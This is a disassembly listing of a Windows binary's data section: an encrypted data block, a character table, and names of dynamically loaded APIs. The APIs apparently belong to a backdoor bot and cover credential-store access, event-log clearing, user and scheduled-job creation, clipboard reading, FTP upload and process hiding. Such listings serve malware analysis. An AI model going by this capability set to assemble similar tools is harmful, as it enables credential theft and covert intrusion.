dd 29076170h, 0ECDD4775h, 619F1510h, 13CCA830h, 0EB61BD96h
dd 334FE1Eh, 0AA0363CFh, 0B5735C90h, 4C70A239h, 0D59E9E0Bh
dd 0CBAADE14h, 0EECC86BCh, 60622CA7h, 9CAB5CABh, 0B2F3846Eh
dd 648B1EAFh, 19BDF0CAh, 0A02369B9h, 655ABB50h, 40685A32h
dd 3C2AB4B3h, 319EE9D5h, 0C021B8F7h, 9B540B19h, 875FA099h
dd 95F7997Eh, 623D7DA8h, 0F837889Ah, 97E32D77h, 11ED935Fh
dd 16681281h, 0E358829h, 0C7E61FD6h, 96DEDFA1h, 7858BA99h
dd 57F584A5h, 1B227263h, 9B83C3FFh, 1AC24696h, 0CDB30AEBh
dd 532E3054h, 8FD948E4h, 6DBC3128h, 58EBF2EFh, 34C6FFEAh
dd 0FE28ED61h, 0EE7C3C73h, 5D4A14D9h, 0E864B7E3h, 42105D14h
dd 203E13E0h, 45EEE2B6h, 0A3AAABEAh, 0DB6C4F15h, 0FACB4FD0h
dd 0C742F442h, 0EF6ABBB5h, 654F3B1Dh, 41CD2105h, 0D81E799Eh
dd 86854DC7h, 0E44B476Ah, 3D816250h, 0CF62A1F2h, 5B8D2646h
dd 0FC8883A0h, 0C1C7B6A3h, 7F1524C3h, 69CB7492h, 47848A0Bh
dd 5692B285h, 95BBF00h, 0AD19489Dh, 1462B174h, 23820E00h
dd 58428D2Ah, 0C55F5EAh, 1DADF43Eh, 233F7061h, 3372F092h
dd 8D937E41h, 0D65FECF1h, 6C223BDBh, 7CDE3759h, 0CBEE7460h
dd 4085F2A7h, 0CE77326Eh, 0A6078084h, 19F8509Eh, 0E8EFD855h
dd 61D99735h, 0A969A7AAh, 0C50C06C2h, 5A04ABFCh, 800BCADCh
dd 9E447A2Eh, 0C3453484h, 0FDD56705h, 0E1E9EC9h, 0DB73DBD3h
dd 105588CDh, 675FDA79h, 0E3674340h, 0C5C43465h, 713E38D8h
dd 3D28F89Eh, 0F16DFF20h, 153E21E7h, 8FB03D4Ah, 0E6E39F2Bh
dd 0DB83ADF7h, 0E93D5A68h
dd 948140F7h, 0F64C261Ch, 94692934h, 411520F7h, 7602D4F7h
dd 0BCF46B2Eh, 0D4A20068h, 0D4082471h, 3320F46Ah, 43B7D4B7h
dd 500061AFh, 1E39F62Eh, 97244546h, 14214F74h, 0BF8B8840h
dd 4D95FC1Dh, 96B591AFh, 70F4DDD3h, 66A02F45h, 0BFBC09ECh
dd 3BD9785h, 7FAC6DD0h, 31CB8504h, 96EB27B3h, 55FD3941h
dd 0DA2547E6h, 0ABCA0A9Ah, 28507825h, 530429F4h, 0A2C86DAh
dd 0E9B66DFBh, 68DC1462h, 0D7486900h, 680EC0A4h, 27A18DEEh
dd 4F3FFEA2h, 0E887AD8Ch, 0B58CE006h, 7AF4D6B6h, 0AACE1E7Ch
dd 0D3375FECh, 0CE78A399h, 406B2A42h, 20FE9E35h, 0D9F385B9h
dd 0EE39D7ABh, 3B124E8Bh, 1DC9FAF7h, 4B6D1856h, 26A36631h
dd 0EAE397B2h, 3A6EFA74h, 0DD5B4332h, 6841E7F7h, 0CA7820FBh
dd 0FB0AF54Eh, 0D8FEB397h, 454056ACh, 0BA489527h, 55533A3Ah
dd 20838D87h, 0FE6BA9B7h, 0D096954Bh, 55A867BCh, 0A1159A58h
dd 0CCA92963h, 99E1DB33h, 0A62A4A56h, 3F3125F9h, 5EF47E1Ch
dd 9029317Ch, 0FDF8E802h, 4272F70h, 80BB155Ch, 5282CE3h
dd 95C11548h, 0E4C66D22h, 48C1133Fh, 0C70F86DCh, 7F9C9EEh
dd 41041F0Fh, 404779A4h, 5D886E17h, 325F51EBh, 0D59BC0D1h
dd 0F2BCC18Fh, 41113564h, 257B7834h, 602A9C60h, 0DFF8E8A3h
dd 1F636C1Bh, 0E12B4C2h, 2E1329Eh, 0AF664FD1h, 0CAD18115h
dd 6B2395E0h, 333E92E1h, 3B240B62h, 0EEBEB922h, 85B2A20Eh
dd 0E6BA0D99h, 0DE720C8Ch, 2DA2F728h, 0D0127845h, 95B794FDh
dd 647D0862h, 0E7CCF5F0h, 5449A36Fh, 877D48FAh, 0C39DFD27h
dd 0F33E8D1Eh, 0A476341h, 992EFF74h, 3A6F6EABh, 0F4F8FD37h
dd 0A812DC60h, 0A1EBDDF8h, 991BE14Ch, 0DB6E6B0Dh, 0C67B5510h
dd 6D672C37h, 2765D43Bh, 0DCD0E804h, 0F1290DC7h, 0CC00FFA3h
dd 0B5390F92h, 690FED0Bh, 667B9FFBh, 0CEDB7D9Ch, 0A091CF0Bh
dd 0D9155EA3h, 0BB132F88h, 515BAD24h, 7B9479BFh, 763BD6EBh
dd 37392EB3h, 0CC115979h, 8026E297h, 0F42E312Dh, 6842ADA7h
dd 0C66A2B3Bh, 12754CCCh, 782EF11Ch, 6A124237h, 0B79251E7h
dd 6A1BBE6h, 4BFB6350h, 1A6B1018h, 11CAEDFAh, 3D25BDD8h
dd 0E2E1C3C9h, 44421659h, 0A121386h, 0D90CEC6Eh, 0D5ABEA2Ah
dd 64AF674Eh, 0DA86A85Fh, 0BEBFE988h, 64E4C3FEh, 9DBC8057h
dd 0F0F7C086h, 60787BF8h, 6003604Dh, 0D1FD8346h, 0F6381FB0h
dd 7745AE04h, 0D736FCCCh, 83426B33h, 0F01EAB71h, 0B0804187h
dd 3C005E5Fh, 77A057BEh, 0BDE8AE24h, 55464299h, 0BF582E61h
dd 4E58F48Fh, 0F2DDFDA2h, 0F474EF38h, 8789BDC2h, 5366F9C3h
dd 0C8B38E74h, 0B475F255h, 46FCD9B9h, 7AEB2661h, 8B1DDF84h
dd 846A0E79h, 915F95E2h, 466E598Eh, 20B45770h, 8CD55591h
dd 0C902DE4Ch, 0B90BACE1h, 0BB8205D0h, 11A86248h, 7574A99Eh
dd 0B77F19B6h, 0E0A9DC09h, 662D09A1h, 0C4324633h, 0E85A1F02h
dd 9F0BE8Ch, 4A99A025h, 1D6EFE10h, 1AB93D1Dh, 0BA5A4DFh
dd 0A186F20Fh, 2868F169h, 0DCB7DA83h, 573906FEh, 0A1E2CE9Bh
dd 4FCD7F52h, 50115E01h, 0A70683FAh, 0A002B5C4h, 0DE6D027h
dd 9AF88C27h, 773F8641h, 0C3604C06h, 61A806B5h, 0F0177A28h
dd 0C0F586E0h, 6058AAh, 30DC7D62h, 11E69ED7h, 2338EA63h
dd 53C2DD94h, 0C2C21634h, 0BBCBEE56h, 90BCB6DEh, 0EBFC7DA1h
dd 0CE591D76h, 6F05E409h, 4B7C0188h, 39720A3Dh, 7C927C24h
dd 86E3725Fh, 724D9DB9h, 1AC15BB4h, 0D39EB8FCh, 0ED545578h
dd 8FCA5B5h, 0D83D7CD3h, 4DAD0FC4h, 1E50EF5Eh, 0B161E6F8h
dd 0A28514D9h, 6C51133Ch, 6FD5C7E7h, 56E14EC4h, 362ABFCEh
dd 0DDC6C837h, 0D79A3234h, 92638212h, 670EFA8Eh, 406000E0h
dd 3A39CE37h, 0D3FAF5CFh, 0ABC27737h, 5AC52D1Bh, 5CB0679Eh
dd 4FA33742h, 0D3822740h, 99BC9BBEh, 0D5118E9Dh, 0BF0F7315h
dd 0D62D1C7Eh, 0C700C47Bh, 0B78C1B6Bh, 21A19045h, 0B26EB1BEh
dd 6A366EB4h, 5748AB2Fh, 0BC946E79h, 0C6A376D2h, 6549C2C8h
dd 530FF8EEh, 468DDE7Dh, 0D5730A1Dh, 4CD04DC6h, 2939BBDBh
dd 0A9BA4650h, 0AC9526E8h, 0BE5EE304h, 0A1FAD5F0h, 6A2D519Ah
dd 63EF8CE2h, 9A86EE22h, 0C089C2B8h, 43242EF6h, 0A51E03AAh
dd 9CF2D0A4h, 83C061BAh, 9BE96A4Dh, 8FE51550h, 0BA645BD6h
dd 2826A2F9h, 0A73A3AE1h, 4BA99586h, 0EF5562E9h, 0C72FEFD3h
dd 0F752F7DAh, 3F046F69h, 77FA0A59h, 80E4A915h, 87B08601h
dd 9B09E6ADh, 3B3EE593h, 0E990FD5Ah, 9E34D797h, 2CF0B7D9h
dd 22B8B51h, 96D5AC3Ah, 17DA67Dh, 0D1CF3ED6h, 7C7D2D28h
dd 1F9F25CFh, 0ADF2B89Bh, 5AD6B472h, 5A88F54Ch, 0E029AC71h
dd 0E019A5E6h, 47B0ACFDh, 0ED93FA9Bh, 0E8D3C48Dh, 283B57CCh
dd 0F8D56629h, 79132E28h, 785F0191h, 0ED756055h, 0F7960E44h
dd 0E3D35E8Ch, 15056DD4h, 88F46DBAh, 3A16125h, 564F0BDh
dd 0C3EB9E15h, 3C9057A2h, 97271AECh, 0A93A072Ah, 1B3F6D9Bh
dd 1E6321F5h, 0F59C66FBh, 26DCF319h, 7533D928h, 0B155FDF5h
dd 3563482h, 8ABA3CBBh, 28517711h, 0C20AD9F8h, 0ABCC5167h
dd 0CCAD925Fh, 4DE81751h, 3830DC8Eh, 379D5862h, 9320F991h
dd 0EA7A90C2h, 0FB3E7BCEh, 5121CE64h, 774FBE32h, 0A8B6E37Eh
dd 0C3293D46h, 48DE5369h, 6413E680h, 0A2AE0810h, 0DD6DB224h
dd 69852DFDh, 9072166h, 0B39A460Ah, 6445C0DDh, 586CDECFh
dd 1C20C8AEh, 5BBEF7DDh, 1B588D40h, 0CCD2017Fh, 6BB4E3BBh
dd 0DDA26A7Eh, 3A59FF45h, 3E350A44h, 0BCB4CDD5h, 72EACEA8h
dd 0FA6484BBh, 8D6612AEh, 0BF3C6F47h, 0D29BE463h, 542F5D9Eh
dd 0AEC2771Bh, 0F64E6370h, 740E0D8Dh, 0E75B1357h, 0F8721671h
dd 0AF537D5Dh, 4040CB08h, 4EB4E2CCh, 34D2466Ah, 115AF84h
dd 0E1B00428h, 95983A1Dh, 6B89FB4h, 0CE6EA048h, 6F3F3B82h
dd 3520AB82h, 11A1D4Bh, 277227F8h, 611560B1h, 0E7933FDCh
dd 0BB3A792Bh, 344525BDh, 0A08839E1h, 51CE794Bh, 2F32C9B7h
dd 0A01FBAC9h, 0E01CC87Eh, 0BCC7D1F6h, 0CF0111C3h, 0A1E8AAC7h
dd 1A908749h, 0D44FBD9Ah, 0D0DADECBh, 0D50ADA38h, 339C32Ah
dd 0C6913667h, 8DF9317Ch, 0E0B12B4Fh, 0F79E59B7h, 43F5BB3Ah
dd 0F2D519FFh, 27D9459Ch, 0BF97222Ch, 15E6FC2Ah, 0F91FC71h
dd 9B941525h, 0FAE59361h, 0CEB69CEBh, 0C2A86459h, 12BAA8D1h
dd 0B6C1075Eh, 0E3056A0Ch, 10D25065h, 0CB03A442h, 0E0EC6E0Eh
dd 1698DB3Bh, 4C98A0BEh, 3278E964h, 9F1F9532h, 0E0D392DFh
dd 0D3A0342Bh, 8971F21Eh, 1B0A7441h, 4BA3348Ch, 0C5BE7120h
dd 0C37632D8h, 0DF359F8Dh, 9B992F2Eh, 0E60B6F47h, 0FE3F11Dh
dd 0E54CDA54h, 1EDAD891h, 0CE6279CFh, 0CD3E7E6Fh, 1618B166h
dd 0FD2C1D05h, 848FD2C5h, 0F6FB2299h, 0F523F357h, 0A6327623h
dd 93A83531h, 56CCCD02h, 0ACF08162h, 5A75EBB5h, 6E163697h
dd 88D273CCh, 0DE966292h, 81B949D0h, 4C50901Bh, 71C65614h
dd 0E6C6C7BDh, 327A140Ah, 45E1D006h, 0C3F27B9Ah, 0C9AA53FDh
dd 62A80F00h, 0BB25BFE2h, 35BDD2F6h, 71126905h, 0B2040222h
dd 0B6CBCF7Ch, 0CD769C2Bh, 53113EC0h, 1640E3D3h, 38ABBD60h
dd 2547ADF0h, 0BA38209Ch, 0F746CE76h, 77AFA1C5h, 20756060h
dd 85CBFE4Eh, 8AE88DD8h, 7AAAF9B0h, 4CF9AA7Eh, 1948C25Ch
dd 2FB8A8Ch, 1C36AE4h, 0D6EBE1F9h, 90D4F869h, 0A65CDEA0h
dd 3F09252Dh, 0C208E69Fh, 0B74E6132h, 0CE77E25Bh, 578FDFE3h
dd 3AC372E6h, 0
dd 0E7h dup(0)
off_442B48 dd offset dword_442B90 ; DATA XREF: sub_416FF6:loc_416FF8r
; sub_417010+E3r ...
align 10h
dword_442B50 dd 80h, 0Eh dup(0) dd 80000000h
dword_442B90 dd 31302F2Eh, 35343332h, 39383736h, 64636261h, 68676665h
; DATA XREF: ?9:off_442B48o
dd 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h, 42417A79h
dd 46454443h, 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h
dd 5A595857h, 0A4A3A2A1h, 0A8A7A6A5h, 0ACABAAA9h, 0B0AFAEADh
dd 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h
dd 0C8C7C6C5h, 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h
dd 0DCDBDAD9h, 0E0DFDEDDh, 0E4E3E2E1h, 0E8E7E6E5h, 0ECEBEAE9h
dd 0F0EFEEEDh, 0F4F3F2F1h, 0F8F7F6F5h, 0FCFBFAF9h, 0FFFEFDh
a02x02x02x02x02 db '%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x',0
; DATA XREF: sub_415440+64o
align 4
aS_3 db '+%s',0 ; DATA XREF: sub_41553D+26o
aPathremovefile db 'PathRemoveFileSpecA',0 ; DATA XREF: sub_41729C+F2Do
aShlwapi_dll db 'shlwapi.dll',0 ; DATA XREF: sub_41729C:loc_4181BEo
aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_41729C+EFEo
align 10h
aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_41729C:loc_41818Fo
aGetprocessmemo db 'GetProcessMemoryInfo',0 ; DATA XREF: sub_41729C+EA2o
align 4
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_41729C+E95o
align 4
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_41729C+E88o
align 4
aGetmodulebasen db 'GetModuleBaseNameA',0 ; DATA XREF: sub_41729C+E7Bo
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_41729C+E73o
align 4
aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_41729C:loc_418102o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_41729C+E11o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_41729C+E04o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_41729C+DF7o
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_41729C+DEAo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_41729C+DDDo
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_41729C+DD5o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_41729C:loc_418064o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_41729C+D93o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_41729C+D8Bo
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_41729C:loc_41801Ao
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_41729C+D39o
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_41729C+D2Co
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_41729C+D1Fo
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_41729C+D17o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_41729C:loc_417FA6o
aGetnetworkpara db 'GetNetworkParams',0 ; DATA XREF: sub_41729C:loc_417F7Eo
align 10h
aGetudptable db 'GetUdpTable',0 ; DATA XREF: sub_41729C+CA2o
aGettcptable db 'GetTcpTable',0 ; DATA XREF: sub_41729C+C95o
aGetiftable db 'GetIfTable',0 ; DATA XREF: sub_41729C+C88o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_41729C+C7Bo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_41729C+C73o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_41729C:loc_417EFEo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_41729C+C2Do
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_41729C+C25o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_41729C:loc_417EB4o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_41729C+B9Bo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_41729C+B8Eo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_41729C+B81o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_41729C+B74o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_41729C+B67o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_41729C+B5Ao
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_41729C+B4Do
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_41729C+B40o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_41729C+B33o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_41729C+B26o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_41729C+B1Eo
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_41729C+AD0o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_41729C+AC3o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_41729C+ABBo
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_41729C:loc_417D4Ao
align 4
aMozilla5_0 db 'Mozilla/5.0',0 ; DATA XREF: sub_41729C+A81o
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_41729C+A0Fo
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_41729C+A02o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_41729C+9F5o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_41729C+9E8o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_41729C+9DBo
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_41729C+9CEo
align 4
aFtpputfilea db 'FtpPutFileA',0 ; DATA XREF: sub_41729C+9C1o
aFtpgetfilea db 'FtpGetFileA',0 ; DATA XREF: sub_41729C+9B4o
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_41729C+9A7o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_41729C+99Ao
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_41729C+98Do
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_41729C+985o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_41729C:loc_417C10o
aShutdown db 'shutdown',0 ; DATA XREF: sub_41729C+837o
; sub_41EBD7+126o
align 4
aClosesocket db 'closesocket',0 ; DATA XREF: sub_41729C+82Ao
aGetpeername db 'getpeername',0 ; DATA XREF: sub_41729C+81Do
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_41729C+810o
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_41729C+803o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_41729C+7F6o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_41729C+7E9o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_41729C+7DCo
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_41729C+7CFo
align 4
aListen db 'listen',0 ; DATA XREF: sub_41729C+7C2o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_41729C+7B5o
align 4
aBind db 'bind',0 ; DATA XREF: sub_41729C+7ADo
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_41729C+79Bo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_41729C+78Eo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_41729C+781o
align 4
aSend db 'send',0 ; DATA XREF: sub_41729C+774o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_41729C+767o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_41729C+75Ao
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_41729C+74Do
align 4
aHtons db 'htons',0 ; DATA XREF: sub_41729C+740o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_41729C+733o
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_41729C+726o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_41729C+719o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_41729C+70Co
aSocket db 'socket',0 ; DATA XREF: sub_41729C+6FFo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_41729C+6F2o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_41729C+6E5o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_41729C+6D8o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_41729C+6CBo
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_41729C+6BEo
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_41729C+6B1o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_41729C+6A9o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_41729C+698o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_41729C+625o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_41729C+618o
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_41729C+60Bo
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_41729C+5FEo
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_41729C+5F1o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_41729C+5E4o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_41729C+5D7o
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_41729C+5CAo
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_41729C+5C2o
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_41729C:loc_41784Do
align 4
aCloseeventlog db 'CloseEventLog',0 ; DATA XREF: sub_41729C+574o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_41729C+567o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_41729C:loc_4177FBo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_41729C:loc_4177E0o
align 4
aSetservicestat db 'SetServiceStatus',0 ; DATA XREF: sub_41729C+4B4o
align 10h
aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0 ; DATA XREF: sub_41729C+4A7o
aUnlockserviced db 'UnlockServiceDatabase',0 ; DATA XREF: sub_41729C+49Ao
align 4
aChangeservicec db 'ChangeServiceConfig2A',0 ; DATA XREF: sub_41729C+48Do
align 4
aQueryservicelo db 'QueryServiceLockStatusA',0 ; DATA XREF: sub_41729C+480o
aLockservicedat db 'LockServiceDatabase',0 ; DATA XREF: sub_41729C+473o
aImpersonatelog db 'ImpersonateLoggedOnUser',0 ; DATA XREF: sub_41729C+466o
aStartservicect db 'StartServiceCtrlDispatcherA',0 ; DATA XREF: sub_41729C+459o
aCreateservicea db 'CreateServiceA',0 ; DATA XREF: sub_41729C+44Co
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_41729C+43Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_41729C+432o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_41729C+425o
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_41729C+418o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_41729C+40Bo
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_41729C+3FEo
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_41729C+3F1o
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_41729C:loc_417685o
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_41729C+3B1o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_41729C+3A4o
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_41729C+397o
align 4
aOpenthreadtoke db 'OpenThreadToken',0 ; DATA XREF: sub_41729C:loc_41762Bo
aRegqueryinfoke db 'RegQueryInfoKeyA',0 ; DATA XREF: sub_41729C+32Fo
align 4
aRegenumvaluea db 'RegEnumValueA',0 ; DATA XREF: sub_41729C+322o
align 4
aRegenumkeyexa db 'RegEnumKeyExA',0 ; DATA XREF: sub_41729C+315o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_41729C+308o
aRegdeletekeya db 'RegDeleteKeyA',0 ; DATA XREF: sub_41729C+2FBo
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_41729C+2EEo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_41729C+2E1o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_41729C+2D4o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_41729C+2C7o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_41729C+2BFo
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_41729C:loc_417546o
align 4
aGetclassnamea db 'GetClassNameA',0 ; DATA XREF: sub_41729C+255o
align 4
aIswindowvisibl db 'IsWindowVisible',0 ; DATA XREF: sub_41729C+248o
aShowwindow db 'ShowWindow',0 ; DATA XREF: sub_41729C+23Bo
align 4
aGetwindowthrea db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_41729C+22Eo
align 10h
aGetwindowinfo db 'GetWindowInfo',0 ; DATA XREF: sub_41729C+221o
align 10h
aEnumwindows db 'EnumWindows',0 ; DATA XREF: sub_41729C:loc_4174B5o
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_41729C+1B9o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_41729C+1ACo
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_41729C+19Fo
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_41729C+192o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_41729C+185o
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_41729C+178o
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_41729C+16Bo
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_41729C+15Eo
align 4
aClosewindow db 'CloseWindow',0 ; DATA XREF: sub_41729C+156o
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_41729C:loc_4173DDo
; sub_418D49+2Fo ...
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_41729C:loc_4173B9o
align 4
aGetcomputernam db 'GetComputerNameA',0 ; DATA XREF: sub_41729C+ADo
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_41729C+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_41729C+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_41729C+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_41729C+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_41729C+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_41729C+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_41729C+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_41729C+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_41729C+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_41729C+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_41729C+23o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_41729C+Ao
align 4
aSSSSExecutingF db '%s %s %s: %s executing file: %s.',0 ; DATA XREF: sub_4181F4+695o
align 4
aSProcessSSTota db '%s Process %s: "%s", Total %s Time: %s.',0 ; DATA XREF: sub_4181F4+55Eo
a_2d_2d db ' %.2d:%.2d',0 ; DATA XREF: sub_4181F4+53Ao
; sub_41F46D+2BAo
align 4
aDS db ' %d%s',0 ; DATA XREF: sub_4181F4+50Fo
; sub_41F46D+292o
align 4
aHours db ' hours',0 ; DATA XREF: sub_4181F4+502o
; sub_41F46D+285o
align 4
aHour db ' hour',0 ; DATA XREF: sub_4181F4+4FBo
; sub_41F46D+27Eo
align 4
